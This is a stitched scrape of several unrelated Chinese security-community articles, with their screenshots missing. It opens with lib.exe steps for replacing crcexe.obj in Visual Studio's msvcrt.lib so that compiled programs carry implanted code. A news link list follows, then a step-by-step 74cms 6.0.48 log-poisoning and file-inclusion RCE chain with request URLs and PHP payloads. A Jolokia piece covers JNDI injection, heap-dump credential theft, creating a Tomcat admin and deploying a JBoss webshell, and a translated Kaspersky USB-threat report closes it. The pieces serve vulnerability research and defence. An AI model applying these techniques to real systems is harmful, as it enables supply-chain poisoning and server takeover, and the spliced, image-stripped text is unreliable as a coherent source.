使用VS自带的LIB.EXE移除crcexe.obj：
lib /REMOVE: f:ddvctoolscrt_bldSELF_X86crtsrcbuildINTELdll_objcrcexe.obj msvcrt.lib
**2\. 向msvcrt.lib中插入修改后的crcexe.obj文件**
使用VS自带的LIB.EXE插入污染后的crcexe.obj：
lib msvcrt.lib f:ddvctoolscrt_bldSELF_X86crtsrcbuildINTELdll_objcrcexe.obj
**编译过程自动植入恶意代码**
将替换了crcexe.obj的msvcrt.lib覆盖VS编译器中的msvcrt.lib：
D:Program Files (x86)Microsoft Visual Studio 9.0VClibmsvcrt.lib
重新编译执行我们的测试程序，可以看到在main函数执行前的两条插入的int3指令：
**
**
**结论与思考**
2017年9月初360威胁情报中心发布了《供应链来源攻击分析报告》，总结了近几年来的多起知名的供应链攻击案例，发现大多数的供应链攻击渠道为软件捆绑。通过污染软件的编译环境的案例不多，最出名的就是2015年影响面巨大的Xcode开发工具恶意代码植入事件，从当前的分析来看，CCleaner也极有可能是定向性的编译环境污染供应链攻击。以下是一些相关的技术结论：
**1\. 针对LIB文件攻击方式可以通过重编译源码或者修改OBJ二进制代码这两种方式实现。**
**2\. 修改OBJ二进制代码实现对LIB文件的代码注入不同于修改源码，此方法理论上可用于注入任何静态链接库LIB。**
**3\. 只需按照OBJ文件格式规范即可注入任意代码（shellcode），比如在OBJ中新增/扩大节，填充shellcode并跳转执行。**
**4\.
此攻击方法可以在用户代码执行前（CRT）、执行中（调用库函数）、甚至执行结束后执行植入的恶意代码，并且由于恶意代码并不存在于编写的源代码中，所以很难被开发人员发现。**
**5\. 攻击者完全可以植入某个深层次调用的开发环境下的静态库文件，以达到感染大部分开发程序并持久化隐藏的目的。**
**6\. 使用源代码安全审查的方式无法发现这类攻击**
由于这类定向的开发环境污染攻击的隐蔽性及影响目标的广泛性，攻击者有可能影响CCleaner以外的其他软件，我们有可能看到攻击者造成的其他供应链污染事件。
**
**
**参考链接**
<https://msdn.microsoft.com/en-us/library/abx4dbyh(v=vs.90).aspx>
360威胁情报中心 | 社区文章 |
# 【知识】10月9日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
在多款趋势科技的产品中存在同样的RCE漏洞（含漏洞分析及PoC）、详解中间人攻击、在Sysinternals中隐藏进程（可以通过该方法运行恶意软件但在Procexp.exe中不显示进程）、使用二进制Diffing挖掘Windows内核内存泄露漏洞、如何绕过Intel
Boot Guard、XSLT服务端注入攻击**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
程序员在 Stack Overflow 向 Java 开发者提供了存在安全隐患的答案
白宫幕僚长的手机可能早被入侵
中国的数字货币交易转入地下
**
**
**技术类：**
********
在多款趋势科技的产品中存在同样的RCE漏洞（含漏洞分析及PoC）
<https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/>
Testing Security Keys
<https://www.imperialviolet.org/2017/10/08/securitykeytest.html>
使用Raspberry Pi在Windows上实现Wi-Fi数据包嗅探/监控（思路来源于Wimonitor）
<https://zone13.io/post/wifi-monitoring-using-raspberry-pi/>
详解中间人攻击
<http://www.kalitut.com/2017/10/man-in-middle-attacks.html>
在Sysinternals中隐藏进程（可以通过该方法运行恶意软件但在Procexp.exe中不显示进程）
<https://riscybusiness.wordpress.com/2017/10/07/hiding-your-process-from-sysinternals/>
Capture Screen + Network = ReproNow
<https://medium.com/@vinayendra/capture-screen-network-repronow-b44dd52307fd>
使用二进制Diffing挖掘Windows内核内存泄露漏洞
<https://googleprojectzero.blogspot.com/2017/10/using-binary-diffing-to-discover.html>
When Security Features Collide
<http://blog.portswigger.net/2017/10/when-security-features-collide.html>
如何绕过Intel Boot Guard
<https://embedi.com/blog/bypassing-intel-boot-guard>
Flusihoc：一个可能来自于中国的DDoS僵尸网络分析
<https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/>
Hunting With Active Directory Replication Metadata
<https://posts.specterops.io/hunting-with-active-directory-replication-metadata-1dab2f681b19>
软件供应链安全防护：深入分析CCleaner后门事件
<https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/>
VMware Escapology – How to Houdini the Hypervisor
<https://www.zerodayinitiative.com/blog/2017/10/04/vmware-escapology-how-to-houdini-the-hypervisor>
XSLT服务端注入攻击
<https://www.contextis.com/blog/xslt-server-side-injection-attacks>
代码审计的常规方法介绍
<https://pentesterlab.com/exercises/codereview/course> | 社区文章 |
## 前言
前些日子，骑士cms 官方公布了一个系统紧急风险漏洞升级通知：骑士cms
6.0.48存在一处任意文件包含漏洞，利用该漏洞对payload文件进行包含，即可造成远程代码执行漏洞。这篇文章将从漏洞公告分析开始，叙述一下笔者分析漏洞与构造payload时遇到的有趣的事情。
## 漏洞情报
官方发布的系统紧急风险漏洞升级通知如下：
<http://www.74cms.com/news/show-2497.html>
从官方公布的信息来看，官方修复了两个地方：
1、/Application/Common/Controller/BaseController.class.php
2、/ThinkPHP/Library/Think/View.class.php
从BaseController.class.php这处补丁来看：
笔者猜测漏洞多半出在了渲染简历模板的assign_resume_tpl方法中。从补丁修复上来看，增添了如下代码
$tpl_file = $view->parseTemplate($tpl);
if(!is_file($tpl_file)){
return false;
}
可以发现程序通过$view->parseTemplate对$tpl参数进行处理，并对处理结果$tpl_file进行is_file判断
我们先跟入$view->parseTemplate看看
从上图143行的结果来看，parseTemplate中也是先通过is_file判断，然后将符合的结果返回。
如果此处传入的$tpl变量是文件，那么这个文件可以顺利的通过parseTemplate与assign_resume_tpl方法中的is_file判断。回想一下，这是一个文件包含漏洞，成功利用的先前条件是恶意的文件得存在，然后被包含。这个漏洞多半是通过assign_resume_tpl方法的$tpl参数传入一个真实存在的待包含的恶意文件，而补丁先通过parseTemplate方法内的is_file判断了一次这个恶意文件是否存在，接着又在assign_resume_tpl方法通过is_file方法判断一次，成功的利用一定会使is_file为true。那assign_resume_tpl方法中增加的代码是否有作用？又有着什么作用？
这个问题笔者将在文章最后介绍。
接下来从第二处View.class.php这处补丁来看：
补丁将fetch 方法中
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
代码注释替换为
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));
在thinkphp中，E()函数是用来抛出异常处理的。可见这处的修改应该是不想让$templateFile变量值写到日志log文件中。
单从这点来看，命令执行所需的payload百分百是可以通过$templateFile变量写到log文件里的,然后配合任意文件包含漏洞将这个log文件包含并执行。
## 漏洞分析
通过对漏洞情报的分析，我们差不多知道了这个漏洞的来龙去脉：
1. 通过控制fetch 方法中$templateFile变量，将payload写入log文件
2. 通过assign_resume_tpl方法包含这个存在payload的log文件
首先我们抛开怎么把payload写入log文件，先来看看文件包含漏洞怎么回事。
经过上文的猜测，我们可以通过assign_resume_tpl方法包含任意文件。首先我们要看看怎么通过请求调用assign_resume_tpl方法
### 如何访问assign_resume_tpl方法
assign_resume_tpl方法位于common模块base控制器下。通过对Thinkphp路由的了解，assign_resume_tpl方法多半是用如下url进行调用
[http://127.0.0.1//74cms/index.php?m=common&c=base&a=assign_resume_tpl](http://127.0.0.1//74cms/index.php?m=common&c=base&a=assign_resume_tpl)
但是实际上，程序抛出了个错误
这是为什么呢？经过动态调试发现一个有意思的事情：common模块是并不能被直接调用的。原因如下：
\ThinkPHP\Library\Think\Dispatcher.class.php中存在如下代码
从上图代码可见，因为我们common模块位于MODULE_DENY_LIST中，因此不能直接通过m=common来调用common模块。
既然不能直接调用，看看有没有其他的办法调用common模块base控制器下的assign_resume_tpl方法
经过研究发现，几乎所有其他的控制器，最终都继承自common模块的BaseController控制器
我们拿Home模块的AbcController控制器举例,见下图：
AbcController 继承FrontendController
而FrontendController由继承了BaseController
因此可以通过get请求
[http://127.0.0.1/74cms/index.php?m=home&c=abc&a=assign_resume_tpl&variable=1&tpl=2](http://127.0.0.1/74cms/index.php?m=home&c=abc&a=assign_resume_tpl&variable=1&tpl=2)
来调用BaseController下的assign_resume_tpl，并将$variable=1、$tpl=2参数传递进去
同理，Home模块下的IndexController控制器也是可以的，见下图
IndexController继承FrontendController，从上文可知，FrontendController继承BaseController。因此也可以通过get请求
[http://127.0.0.1/74cms/index.php?m=home&c=index&a=assign_resume_tpl&variable=1&tpl=2](http://127.0.0.1/74cms/index.php?m=home&c=index&a=assign_resume_tpl&variable=1&tpl=2)
来访问BaseController下的assign_resume_tpl并向该方法传参
我们后续分析就用
[http://127.0.0.1/74cms/index.php?m=home&c=index&a=assign_resume_tpl&variable=xxx&tpl=xxx](http://127.0.0.1/74cms/index.php?m=home&c=index&a=assign_resume_tpl&variable=xxx&tpl=xxx)
这样的形式调用assign_resume_tpl方法
既然我们可以通过请求向存在漏洞的assign_resume_tpl方法传参了，距离漏洞利用成功已经不远了
### 用测试文件触发文件包含
我们接下来”假装”在后台上传一个payload，用assign_resume_tpl这个接口包含下试试
笔者手动在如下目录里放了个test.html
为什么这么放呢？因为笔者在源代码里看到如下代码
这里是74cms使用assign_resume_tpl调用word_resume.html的形式。因此笔者在测试时也在word_resume.html通目录下放置了一个test.html，其内容如下：
构造如下请求
[http://127.0.0.1/74cms/index.php?m=home&c=index&a=assign_resume_tpl&variable=1&tpl=Emailtpl/test](http://127.0.0.1/74cms/index.php?m=home&c=index&a=assign_resume_tpl&variable=1&tpl=Emailtpl/test)
请求将调用assign_resume_tpl方法。动态调试过程如下：
可见此时$tpl为Emailtpl/test，get请求中参数成功传入了。
我们来看一下fetch里怎么实现的
程序会执行到fetch方法中的Hook::listen('view_parse',$params);代码处
此处代码很关键，需要详细说明下。Hook::listen('view_parse',$params);这处代码的作用大体上有两个：
1. Compiler：将模板文件经过一定解析与编译，生成缓存文件xxx.php
2. Load：通过include方法加载上一步生成的xxx.php缓存文件
简而言之，Hook::listen('view_parse',$params);先通过Compiler将攻击者传入的模板文件编译为一个缓存文件，随后调用Load加载这个编译好的缓存文件。
首先我们来看下生产缓存文件过程
#### Compiler
从Hook::listen('view_parse',$params);到compiler方法的调用链如下：
该方法会将thinkphp的html模板中定义的标签，解析成php代码。例如模板中的”qscms:company_show/”
就会被解析成
除此之外，compiler方法还会将生成的xxx.php文件头部加上一个如下代码以防止该文件被直接执行
<?php if (!defined('THINK_PATH')) exit();
说完compiler方法的功能后，我们来看下compiler方法是如何处理我们的test.html。
test.html中的代码为<?php phpinfo(); ?>，经过解析之后，返回值见下图
上图compiler方法最终返回的是strip_whitespace($tmplContent);
但strip_whitespace方法的作用是去除代码中的空白和注释，对我们的payload没什么实际意义。
最终compiler方法返回值为
<?php if (!defined('THINK_PATH')) exit(); phpinfo();?>
这个值被写入一个缓存文件，见下图
缓存文件位于data/Runtime/Cache/Home/8a848d32ad6f6040d5461bb8b5f65eb0.php
到此为止，compiler流程已经结束，我们接下来看看加载过程
#### Load
Load代码如下图所示
从Hook::listen('view_parse',$params);到load方法的调用链如下：
从第一张图可见，load代码最终会include
我们compiler流程中生产的那个data/Runtime/Cache/Home/8a848d32ad6f6040d5461bb8b5f65eb0.php缓存文件
当8a848d32ad6f6040d5461bb8b5f65eb0.php被include之后，其中的恶意代码执行，见下图
执行成功后，浏览器如下
等等，为什么没有phpinfo的回显呢？是不是我们phpinfo执行失败了？我们换一个payload试试，见下图
这次我们执行一个生产目录的命令
可见命令执行成功了。但是为什么phpinfo没有回显呢？
### phpinfo回显哪去了
从上文看，我们使用测试文件进行包含利用成功了，但是phpinfo的回显却不见了。进过研究发现，原因还是在fetch方法里。在fetch中，注意看下图红框处代码：
Fetch中的load流程，即加载payload执行phpinfo的过程在上图126行处Hook::listen('view_parse',$params);代码中完成的。
而在此之前，程序通过ob_start打开缓冲区，因此phpinfo输出的信息被存储于缓冲区内，而在Hook::listen代码执行之后，又通过ob_get_clean将缓冲区里的内容取出赋值给$content并删除当前输出缓冲区。因此phpinfo虽然执行成功，但回显并不会显示在浏览器页面上。
如果想要获取回显，我们该怎么办呢？这其实很简单，见下图
此时生成的缓存文件如下：
虽然在include这个缓存文件之前，程序通过ob_start打开缓冲区将phpinfo的输出存到缓冲区里，但我们可以通过执行ob_flush冲刷出（送出）输出缓冲区中的内容，打印到浏览器页面上
### 怎么将payload写入文件
上文我们一直在用一个手动上传的test.html，很显然这在实际漏洞利用过程中是不行的。我们需要想办法在目标服务器里写入一个payload。
在这里笔者绕了很多弯路，尝试着在图片上传处做文章，但最后失败了。后来笔者突然想起来官方的补丁，还记得上文我们从官方补丁中得到的漏洞情报？
补丁将fetch 方法中
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
代码注释替换为
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));
修改之处的E()函数是用来抛出异常处理的，而补丁将$templateFile删除，正是不想让$templateFile变量值写到日志log文件中。看来payload是可以写到日志文件里的。
我们回过头来，看看fetch 方法中$templateFile变量怎么控制
还记得上文的分析吗？$templateFile变量其实就是请求中传入的tpl变量可以被攻击者控制。从上图来看，只要请求中传入的tpl变量不是文件，就可以将tpl变量值写入log文件。
那么我们就让请求中传入的tpl变量为payload字符串，满足不是文件判断，让这个payload写到日志中
实际发送如下请求控制$templateFile变量写入日志文件
动态调试如下：
日志被写到data/Runtime/Logs/Home/20_12_02.log，见下图
但有个问题：我们为什么不像上文一贯作风，使用get请求传递tpl变量值呢？因为从get请求中url会在日志文件中被url编码，而post请求则不然。因此只能发送post请求。
到此，完整的利用链构造出来了，发送如下请求即可包含日志文件并执行payload
## 写在最后
总得来说这个漏洞并不复杂，但是却很巧妙。在此过程中遇到很多有趣是问题。
### 构造图片payload问题
在从官方补丁中发现利用log文件写入payload思路之前，笔者花费大量时间尝试利用图片上传写入payload。因为74cms中利用了ThinkImage(也就是php-GD)对图片的渲染和处理导致webshell代码错位失效，笔者尝试了这篇文章里的思路
<https://paper.seebug.org/387/#2-bypass-php-gdwebshell>
这下倒是成功了一半：ThinkImage出现异常抛出错误了，并没有对笔者webshell图片进行渲染和处理，这看起来太棒了。但坏消息是，因为ThinkImage抛出异常，程序并没有把笔者上传成功后存储于服务器上的图片名称抛出来，而图片名称是通过uniqid()函数生成的随机数。uniqid()
函数基于以微秒计的当前时间，生成一个唯一的ID。笔者也没有办法猜测出上传后的图片名是什么，因此作罢。
这个问题与接下来的问题相关，也就是官方的补丁到底有没有效
### 官方第一处补丁到底有没有用
还记得上文漏洞情报分析那里，关于第一处补丁笔者的分析吗？
补丁在assign_resume_tpl方法中增添了如下代码
$tpl_file = $view->parseTemplate($tpl);
if(!is_file($tpl_file)){
return false;
}
笔者在分析漏洞之前的想法是：因为这是一个文件包含漏洞，而assign_resume_tpl方法正是这个漏洞的入口，因此如果我们传入的$tpl必定是一个文件，这样可以轻松的绕过$view->parseTemplate($tpl);（parseTemplate中进行判断，如果传入的tpl是文件则直接return）与if(!is_file($tpl_file))判断。
但经过深入的漏洞分析发现，assign_resume_tpl方法不仅是文件包含漏洞的入口，也是后续将payload写入log文件的接口，通过控制assign_resume_tpl方法的tpl参数为字符串形式的payload，则这个payload将会在fetch中被写入日志文件。
但在assign_resume_tpl方法中增加了判断
$tpl_file会是payload字符串拼接.html这样的形式，接下来的if(!is_file($tpl_file))会return
false，而保护程序不进入fetch。
但这样真有必要吗？因为fetch中也打了补丁，经过上文对补丁的分析，就算是assign_resume_tpl方法中没有修改使得payload进入了fetch，由于补丁的原因fetch中也不会把payload写入日志了，因此这里的补丁显的没有太大必要。
### 官方补丁可以绕过吗
经过从上面两个问题的思考，可以发现一个新的问题，那就是官方补丁是否可以绕过。通过对漏洞的了解，官方补丁实际起作用的是不让payload写入日志文件。如果真的有人有办法在图片中写入payload并上传成功，在assign_resume_tpl方法中直接包含这个文件即可利用成功。assign_resume_tpl方法中的补丁并没有限制tpl参数为文件。
也就是说：要么官方补丁是可以轻松绕过的、要么通过构造图片webshell这条路走不通。具体哪个是对的，就要看看官方后续是否又出补丁绕过公告与一个新的补丁了。 | 社区文章 |
# Exploiting Jolokia Agent with Java EE Servers
##### 译文声明
本文是翻译文章，文章原作者 RicterZ@云鼎实验室，文章来源：云鼎实验室
原文地址：<http://mp.weixin.qq.com/s/blpFK0oigTGtI_eVJxEL0w>
译文仅供参考，具体内容表达以及含义原文为准。
**作者：RicterZ@云鼎实验室**
## 0x00 – About Jolokia
Jolokia 是一个通过 HTTP 的 JMX 连接器，提供了类 RESTful 的操作方式，可以通过 POST JSON 的方式访问和修改 JMX
属性、执行 JMX 操作、搜索 MBean、列出 MBean 的 Meta-data 等。
Jolokia 支持提供了多种 Agents，包括 WAR Agent、OSGi Agent、JVM Agent 或者 Mule Agent。其中 WAR
Agent 支持了多种 Web Server：
* JBoss 4.2.3, 5.1.0, 6.1.0, 7.0.2, 7.1.1, 8.0.0
* Oracle WebLogic 9.2.3.0, 10.0.2.0, 10.3.6.0
* Glassfish 2.1.1, 3.0.1, 3.1.2, 4.0.0
* IBM Websphere 6.1.0.33, 7.0.0.11, 8.0.0.1, 8.5
* Apache Tomcat 5.5.35, 6.0.37, 7.0.52, 8.0.3
* Jetty 5.1.15, 6.1.26, 7.6.9, 8.1.9, 9.1.2
* Resin 3.1.9
* Jonas 4.10.7, 5.1.1, 5.2.1
* Apache Geronimo 2.1.6, 2.2.1, 3.0.0
* Spring dm Server 2.0.0.RELEASE
* Eclipse Virgo 2.1.0
通过 Jolokia，可以方便的操作 MBean，通过 GET 的例子：
或者 POST 一个 JSON：
Jolokia 支持 READ、WRITE、SEARCH、EXEC、LIST
等操作，具体可以参考官方文档：https://jolokia.org/reference/html/index.html 。
## 0x01 – Jolokia Security Issues
### 1\. JNDI Injection
Jolokia 支持一个叫做代理模式（Proxy Mode）的东西，是为了解决不能将 Jolokia Agent 部署在目标平台上的问题。具体架构如下：
可以通过向 Jolokia 发送 POST 请求来触发：
熟悉 Java 安全的朋友可能会注意到，这里可能有一个 JNDI 注入。的确，在 WAR Agent 的情况下，此处存在一个 JNDI
注入，问题发生在`agent\jsr160\src\main\java\org\jolokia\jsr160\Jsr160RequestDispatcher.java`：
当 Web Container 将请求的交由 `Jsr160RequestDispatcher` 处理时，Jolokia Agent 创建连接，导致
JNDI 注入。在 WAR Agent 里，默认是由 `Jsr160RequestDispatcher` 处理的，这一点在 web.xml 也有体现：
那么，攻击者只需发送一个带有 Evil JMXRMI 的地址的 JSON，即可利用 JNDI 在目标机器上执行命令。
### 2\. Information Disclosure
Jolokia 中有一个默认注册的 MBean：`com.sun.management:type=HotSpotDiagnostic` ，这个 MBean
中存在 dumpHeap 方法，可以 dump 内存到指定的目录。同时在低版本的 Java 中（比如 1.8.0_11），导出的文件名可以设置任意名称，而非
`.hprof` 后缀。
下载后可以通过分析文件获取一些敏感信息：
如上图就获得了 Tomcat 管理员的账号密码，可以通过部署 WAR 文件的方式进行 getshell。
## 0x02 – Tomcat with Jolokia
### 1\. DoS
部署了 Jolokia 后，可以访问 `/jolokia/list` 查看可用的 MBean，通过翻阅可以发现 Tomcat + Jolokia
的情况下存在一些敏感操作，比如关闭服务：
这样会造成 DoS，虽然没啥用。
### 2\. Create Admin Account
问题在 `User:database=UserDatabase,type=UserDatabase`
下，其包括了`createRole`、`createUser` 等操作，攻击流程为：
接着利用 test233 / test233 登陆即可。
## 0x03 – JBoss with Jolokia
### 1\. DoS
关闭服务：
### 2\. Deploy WAR
JBoss 中，通过 JMX Console 部署 WAR 是最为人所知的，JBoss
中的`jboss.system:service=MainDeployer` 提供了这个方法。由于此方法是重载的，所以需要指定一个
signature，也就是下图的`deploy(java.lang.String)`：
接着通过访问 `/test` 即可进入 webshell。
## 0x04 Others
Weblogic 暴露出很多 MBean，但是有一些方法存在限制：
可能会有其他的 MBean 可以进行操作，但是由于 MBean 繁多，没有太多精力去看。Jetty 没有暴露什么
MBean，所以暂时没有什么方法。ActiveMQ 有一些 MBean，粗略看了下没有发现什么问题，如果大家发现了，可以多多交流。
## 0x05 Reference
<https://jolokia.org/reference/html/index.html>
<https://www.cvedetails.com/cve/CVE-2018-1000130/>
写在最后：Jolokia 可以暴露出更多的攻击面，通过这些攻击面进行操作来获取更高的权限，本文仅仅分析了部分 Java EE Servers 所呈现出来的
MBean，但是由于 Jolokia 支持多种 Agent，所以暴露出的东西不止如此。
此外，这次分析仅仅是在业务层面上进行分析，没有跟进到源码层面。可能会有如下情况：某个 MBean 进行了 JNDI
lookup，或者远程下载文件保存在本地，反序列化某一些内容等等，通过 Jolokia 进行操作可以二次利用这些问题来
RCE。这就需要具体情况具体分析了，本文如有错误，欢迎指正 😀 | 社区文章 |
# 从恶意软件到加密货币矿工 | 论当前的USB威胁状况
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/usb-threats-from-malware-to-miners/87989/>
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
2016年，美国伊利诺伊大学的[研究人员](https://elie.net/publication/users-really-do-plug-in-usb-drives-they-find)做了一个实验，他们把297个未标记的USB设备遗留在学校的校园内，看看会发生什么。结果是，98%的USB设备被工作人员和学生捡走，并且至少一半的USB设备被插入计算机以查看其内容。如果一个攻击者试图以这种方式感染计算机网络，那么他已经成功了。
USB设备已经存在了将近20年，它为我们提供了一种在没有直接相连或连入互联网的计算机之间存储和传递电子文件的简便方法。这种能力也被网络犯罪分子所利用，一个著名的例子是2010年的[震网](https://securelist.com/the-echo-of-stuxnet-surprising-findings-in-the-windows-exploits-landscape/65367/)病毒。震网病毒通过USB设备传播，用于向伊朗的核设施注入恶意软件。
如今，Dropbox等云服务已经成为主要的文件存储和传输方式，而对USB设备的安全风险的认知也已经大大提升。人们不再将USB设备作为一个必不可少的商业工具。然而，每年仍有数百万USB设备被生产出来，它们主要用在家庭、企业和市场营销活动（例如作为展会的赠品）中。
USB设备仍处在网络犯罪分子的视野之中。2017年卡巴斯基实验室的数据表明，每12个月左右，全世界范围内就有约1/4的用户受到本地威胁事件的影响。这些事件是指直接在用户的计算机上检测到的威胁，包括可移动媒体（例如USB设备）造成的感染。
本报告回顾了当前可移动媒体（USB设备）的威胁状况，并针对如何保护这些设备以及其存储的数据提出了建议和措施。
## 研究方法和主要发现
本报告基于卡巴斯基实验室在用户计算机驱动器根目录中的文件保护技术的检测结果，并应用了特定的扫描过滤器和其它度量措施。报告中仅涵盖了恶意软件类的攻击，并没有包含广告软件或[灰色软件](https://encyclopedia.kaspersky.com/knowledge/risktool/)等潜在危险/有害程序的检测结果（这类程序是指本身无害，但常被用于隐藏包含恶意内容的文件或终端应用等的一类程序）。用户通过卡巴斯基安全网络（KSN）自愿共享这些检测数据。
### 主要发现
* 至少从2015年起，USB设备以及其它可移动媒体就一直被用于传播恶意挖矿软件。一些用户甚至被感染了数年。
* 最流行的比特币矿工是Trojan.Win64.Miner.all，其检测率每年增长约六分之一。
* 2018年遭受可移动媒体感染的所有用户中，约十分之一是被该矿工感染的（约9.22%，这一数字在2017年是6.7%，而2016年是4.2%）。
* 通过可移动媒体/USB设备传播的其它恶意软件还包括Windows木马家族LNK。至少从2016年开始，该木马就牢牢占据了USB威胁排行榜的前三位。
* 2010年震网病毒利用的漏洞（CVE-2010-2568）仍然是通过可移动媒体传播的恶意漏洞利用（exploits）的前十名之一。
* 新兴市场最容易受到可移动媒体传播的威胁的感染 – 亚洲、非洲和南美洲是受影响最大的地区 – 但在欧洲和北美的一些国家也检测到孤立的攻击事件。
* 2018年8月21日曝光的银行恶意软件Dark Tequila（黑暗龙舌兰）就主要通过USB感染进行传播。其在墨西哥的受害者/企业最早可追溯至2013年。
## USB威胁的演变
由可移动媒体导致的感染通常被定义为本地威胁 –
直接在用户计算机上检测到的威胁，例如在一个计划的或是用户发起的扫描任务中发现的威胁。本地威胁与基于互联网的威胁（网络威胁）不同的地方在于，网络威胁更为普遍。本地感染可能由隐藏在安装程序中的加密恶意代码引发。为了提取出由可移动媒体（USB设备）传播的恶意软件的数据，我们选取了那些在驱动器根目录触发的检测结果（表明感染源是可移动媒体的强指标）。
数据表明可移动媒体威胁（驱动器根目录）的检测数量从2014年以来稳步下降，但整体的下降速率有所减缓。2014年，受可移动媒体威胁感染的用户与此类威胁总数之间的比值为1：42。但在2017年这一比值下降了约一半，为1：25。而2018年的预估值在1：22左右。
这些数字与网络威胁相比黯然失色：2017年，卡巴斯基实验室的文件防病毒软件共检测到1.138亿个疑似可移动媒体威胁，而网络防病毒软件则抵御了从在线资源发起的约12亿次攻击。有鉴于此，尽管2018年全世界范围内约有400万用户将受到可移动媒体威胁的感染，但这一威胁带来的风险仍很容易被忽视。
2013至2018年，用户计算机驱动器根目录中触发的恶意软件检测总数（以百万计） – 可移动媒体感染的强指标。来源：KSN
2013至2018年，在驱动器根目录中触发恶意软件检测的唯一用户数（以百万计） – 可移动媒体感染的强指标。来源：KSN
### USB与APT攻击
攻击者在针对未联网的计算机网络时（例如关键的国家电网基础设施）会用到USB设备攻击。一个最著名的例子可能是[震网病毒](https://securelist.com/the-echo-of-stuxnet-surprising-findings-in-the-windows-exploits-landscape/65367/)。在2009年和2010年，震网病毒破坏了伊朗的核设施。
USB设备被用于向设施的气隙网络（air-gapped networks）注入恶意软件。其中，攻击过程利用了Windows
LNK漏洞（CVE-2010-2568），该漏洞可导致远程代码执行。其他APT组织，包括[Equation
Group](https://securelist.com/equation-group-from-houston-with-love/68877/)、[Flame](https://securelist.com/the-flame-questions-and-answers-51/34344/)、[Regin](https://securelist.com/regin-nation-state-ownage-of-gsm-networks/67741/)和[HackingTeam](https://securelist.com/spyware-hackingteam/37064/)在内，也都曾利用该漏洞通过可移动媒体进行攻击。
此外，大多数USB设备的结构使得它们可以很容易地提供隐藏空间，用于，比如说，转移窃取的数据。2016年的toolkit
[ProjectSauron](https://securelist.com/faq-the-projectsauron-apt/75533/)
就包含一个特殊的模块，该模块用于从气隙网络向联网系统转移数据。这涉及到将USB驱动器格式化以改变其分区大小，在磁盘末尾保留一定的隐藏空间（约几百兆）以进行恶意目的。
### 震网漏洞CVE-2010-2568
微软在2015年3月修复了最后一个易受攻击的LNK代码路径。然而，在2016年，仍有多达[四分之一](https://securelist.com/exploits-how-great-is-the-threat/78125/)的卡巴斯基用户遭到了[该漏洞](https://securelist.com/the-echo-of-stuxnet-surprising-findings-in-the-windows-exploits-landscape/65367/)的攻击，攻击向量可能是任何一个（包括基于网络的威胁）（尽管该漏洞利用在2017年被[永恒之蓝](https://www.wired.co.uk/article/what-is-eternal-blue-exploit-vulnerability-patch)漏洞利用所取代）。无论怎样，CVE-2010-2568仍被用于分发恶意软件（通过USB设备或其它可移动媒体）：尽管检测到的威胁和受害者的数量迅速下降，但它仍然排在KSN检测到的驱动器根目录威胁的前十名之中。
2013至2018年，在驱动器根目录（可移动媒体）中检测到的CVE-2010-2568漏洞利用的总体数量（单位：百万），来源：KSN
2013至2018年，在其驱动器根目录（可移动媒体）中检测到CVE-2010-2568漏洞利用的用户的总体数量（单位：百万），来源：KSN
如果exploit的检测数量说明了通过可移动媒体（如USB）传播的恶意软件的数量级，则以下内容讨论了通过这种方式传播的恶意软件的类型。
### 通过可移动媒体传播的恶意软件
自2016年以来，通过可移动媒体传播的恶意软件的排名基本保持一致。举例而言，恶意软件家族[Windows
LNK](https://threats.kaspersky.com/en/threat/Trojan.WinLNK.Agent/)（包含恶意文件下载链接或恶意程序加载路径的一类木马）一直保持在该排行榜的前三。该恶意软件常被用于破坏、锁定、修改或复制用户的数据，或者是干扰设备/网络的正常运营。2017年USB威胁排行榜的第一名是[WinLNK
Runner
Trojan](https://threats.kaspersky.com/en/threat/Trojan.WinLNK.Runner/)，该木马常被蠕虫用于加载可执行文件。
2017年，我们共检测到2270万个WinLNK.Agent感染，约90万用户受到影响。2018年的预估值为约2300万，以及超过70万用户受到影响。这意味着检测数量同比上升了约2%，而受影响的用户数量下降了20%。
对于WinLNK Runner Trojan而言，相关数字下降得更快 –
2017年的检测数量是275万，而2018年的预估值是100万，下降了61%；而2017年的目标用户数量是92万，2018年的预估值是45万，下降了51%。
其它通过USB设备传播的顶级恶意软件还包括[Sality](https://threats.kaspersky.com/en/threat/Virus.Win32.Sality/)病毒（2003年首次检测到的病毒，但随后修改较大）；[Dinihou](https://threats.kaspersky.com/en/threat/Worm.VBS.Dinihou/)
蠕虫（可以自动进行自我复制，通过USB设备传播，还会自动创建恶意的快捷方式LNK）等。
### 恶意矿工 – 少见但一直存在
USB设备也被用于分发恶意挖矿软件。这种情况相对不常见，但其成功率足以让攻击者继续这种行为。根据KSN的数据，此类矿工的一个例子是Trojan.Win32.Miner.ays/Trojan.Win64.Miner.all（最早出现于2014年）。
这种恶意软件主要利用受感染计算机的处理器计算能力进行挖矿。该木马用于向目标PC分发挖矿程序，并静默安装和运行以及将结果发送至攻击者的远程控制服务器。
卡巴斯基实验室的数据表明2018年检测到的部分感染可以追溯至几年前，这意味着长期的感染很可能对受害者设备的处理能力造成显著的负面影响。
32位版本的Trojan.Win32.Miner.ays的检测数据如下：
年 | Trojan.Win32.Miner.ays的检测数据 | 唯一用户数
---|---|---
2017 | 778,620 | 236,000
2018 (根据上半年的数据进行预测) | 600,698 | 196,866
在2017年上半年的数字（136,954个唯一用户）和2018年上半年的数字（93,433个唯一用户）之间，存在一个28.13%的下降。
该木马的另一个版本（Trojan.Win64.Miner.all）的检测数量在第一年出现了一个预期中的激增，随后受影响的用户数量达到了稳定的增长率（每年约1/6）。在将受到该恶意挖矿软件影响的用户数量与总体受可移动媒体威胁影响的用户数量相比较时，也可以观察到这种小幅但稳定的增长率。这表明在2018年，受可移动媒体威胁影响的用户中约有1/10会遭到该恶意矿工的攻击，在两年内增长了2倍。
这些结果表明恶意挖矿软件很适合通过可移动媒体进行传播。
